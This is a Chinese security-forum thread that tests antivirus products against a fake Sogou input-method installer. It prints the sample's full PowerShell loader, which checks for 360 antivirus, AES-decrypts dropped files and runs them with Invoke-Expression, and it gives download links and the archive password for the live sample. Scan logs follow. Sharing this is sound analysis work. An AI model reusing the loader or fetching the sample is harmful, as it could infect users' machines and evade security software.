假的搜狗输入法

Rukia

有效数签: Yongji Xiaodong Network Technology Co., Ltd.
https://wormhole.app/bLjQKK#rVTWQFqSdB9ukV42If7fxw(链接已更改)
解压密码：infected
补充下载链接https://c.wss.cc/f/hx8tzi0xrl0
恶意行为：
释放文件："C:\escsvc\3.txt" 和 "C:\escsvc\4.txt"
  利用 "C:\escsvc\toolsps.exe" 执行恶意的命令

"c:\\escsvc\\toolsps.exe" if (Get-Process -Name '360Tray','360sd' -ErrorAction SilentlyContinue) { $AES=New-Object System.Security.Cryptography.AesManaged;$AES.Mode=[System.Security.Cryptography.CipherMode]::CBC;$AES.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$AES.KeySize=256;$AES.BlockSize=128;$Salt=[System.Text.Encoding]::UTF8.GetBytes('Salt1234567890123');$DerivedBytes=New-Object System.Security.Cryptography.Rfc2898DeriveBytes('Admin111...',$Salt,1000);$AES.Key=$DerivedBytes.GetBytes(32);$AES.IV=$DerivedBytes.GetBytes(16);$Decryptor=$AES.CreateDecryptor();$EncryptedBytes=[Convert]::FromBase64String((Get-Content -Path 'c:\\escsvc\\4.txt' -Raw -Encoding UTF8));$DecryptedBytes=$Decryptor.TransformFinalBlock($EncryptedBytes,0,$EncryptedBytes.Length);$DecryptedContent=[System.Text.Encoding]::UTF8.GetString($DecryptedBytes);Invoke-Expression $DecryptedContent } else { Start-Process 'c:\\escsvc\\5.exe';$AES=New-Object System.Security.Cryptography.AesManaged;$AES.Mode=[System.Security.Cryptography.CipherMode]::CBC;$AES.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$AES.KeySize=256;$AES.BlockSize=128;$Salt=[System.Text.Encoding]::UTF8.GetBytes('Salt1234567890123');$DerivedBytes=New-Object System.Security.Cryptography.Rfc2898DeriveBytes('Admin111...',$Salt,1000);$AES.Key=$DerivedBytes.GetBytes(32);$AES.IV=$DerivedBytes.GetBytes(16);$Decryptor=$AES.CreateDecryptor();$EncryptedBytes=[Convert]::FromBase64String((Get-Content -Path 'c:\\escsvc\\3.txt' -Raw -Encoding UTF8));$DecryptedBytes=$Decryptor.TransformFinalBlock($EncryptedBytes,0,$EncryptedBytes.Length);$DecryptedContent=[System.Text.Encoding]::UTF8.GetString($DecryptedBytes);Invoke-Expression $DecryptedContent }

一成不变

下不了兄弟

ulyanov2233

你没传完就关闭网页了。。。

Rukia

ulyanov2233 发表于 2025-9-7 16:57
你没传完就关闭网页了。。。

抱歉 https://wormhole.app/bLjQKK#rVTWQFqSdB9ukV42If7fxw

ulyanov2233

卡巴op显示有主防触发记录
28 Aug, 2025
11:14
BSS:Trojan.Win32.Generic，op红了，看什么时候入库Kaspersky Threat Intelligence Portal — Report — 3A4115B3F2898BC33469CDEC9820C743C5F1A84F768A2ACE...
eset云拉黑

2025/9/7 17:32:49;文件系统实时防护;文件;C:\Users\kasperky\Downloads\sogou_pinyin_16c (1)\sogou_pinyin_16c.exe;Suspicious Object;已通过删除清除;DESKTOP-RMLF8R4\kasperky;尝试通过应用程序访问文件时发生事件: C:\Users\kasperky\Downloads\sogou_pinyin_16c (1)\sogou_pinyin_16c.exe (78C608DB7A2DADF79133FA91310C5704FCA5F4E0).;78C608DB7A2DADF79133FA91310C5704FCA5F4E0;2025/9/7 17:21:15;;

莒县小哥

MD扫描不杀

心醉咖啡

360

aboringman

天守：

---

Avast（CC：OFF）：

---

迈克菲：寄，全程无反应

Rukia

BEST只是报告威胁，没阻止

Curve25519

ESET Smart Security Premium 解压、扫描 miss，沙盘中双击 kill

扫描日志
检测引擎的版本: 31822 (20250907)
日期: 2025/9/7  时间: 22:05:38
已扫描的磁盘、文件夹和文件: W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe
用户: DESKTOP-K07940I\Admin
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > react-router-dom.production.min.js - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/._aegis.min.js - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/._build - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/._index.html - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/._polyfill.min.js - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/._react-dom.production.min.js - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/._react-router-dom.production.min.js - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/._react.production.min.js - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/._.DS_Store - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/._client - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/._.DS_Store - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/._ai-assistant - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/._.DS_Store - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/._304_3979cf6.chunk.js - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/._474_593b3e0.chunk.js - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/._assets - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/._pages - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/assets/._6_0139599.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/assets/._7_726e849.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/assets/._8_39a47c9.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/assets/._9_ab1e7de.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/assets/._aidraw_5f0e6f6.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/assets/._airead_32260cf.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/assets/._bg_8129e8c.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/assets/._exit-imgs_ee3ba67.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/assets/._logo-big_942cf1b.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/assets/._new-sogou-logo-sider_59892c0.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/assets/._setting-select_bb16c47.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > __MACOSX/build/client/ai-assistant/pages/._main_ec1b493.js - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/.DS_Store - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/client/.DS_Store - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/client/ai-assistant/.DS_Store - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/client/ai-assistant/304_3979cf6.chunk.js - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/client/ai-assistant/474_593b3e0.chunk.js - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/client/ai-assistant/assets/6_0139599.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/client/ai-assistant/assets/7_726e849.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/client/ai-assistant/assets/8_39a47c9.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/client/ai-assistant/assets/9_ab1e7de.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/client/ai-assistant/assets/aidraw_5f0e6f6.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/client/ai-assistant/assets/airead_32260cf.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/client/ai-assistant/assets/bg_8129e8c.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/client/ai-assistant/assets/exit-imgs_ee3ba67.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/client/ai-assistant/assets/logo-big_942cf1b.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/client/ai-assistant/assets/new-sogou-logo-sider_59892c0.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/client/ai-assistant/assets/setting-select_bb16c47.png - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > build/client/ai-assistant/pages/main_ec1b493.js - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > aegis.min.js - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > index.html - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > polyfill.min.js - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > react.production.min.js - 错误 - 文件受密码保护
W:\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe > INNO > c:\\escsvc\5.exe > NSIS > ichat_1.0.2.2928.scpf > ZIP > SOGOUSmartAssistant.exe > ZIP > react-dom.production.min.js - 错误 - 文件受密码保护
已扫描的对象数: 2494
检测数: 0
完成时间: 22:06:23  总扫描时间: 45 秒 (00:00:45)

=======================================

2025/9/7 22:07:08;文件系统实时防护;文件;\Device\TweakCubeRamDisk0\Sandbox\Admin\DefaultBox\drive\W\sogou_pinyin_16c\sogou_pinyin_16c.exe;Suspicious Object;已通过删除清除;DESKTOP-K07940I\Admin;尝试通过应用程序访问文件时发生事件: C:\Windows\explorer.exe (EA6066D4C145AF46220B996AA37C0449B41A9A6C).;78C608DB7A2DADF79133FA91310C5704FCA5F4E0;2025/9/7 22:04:51;;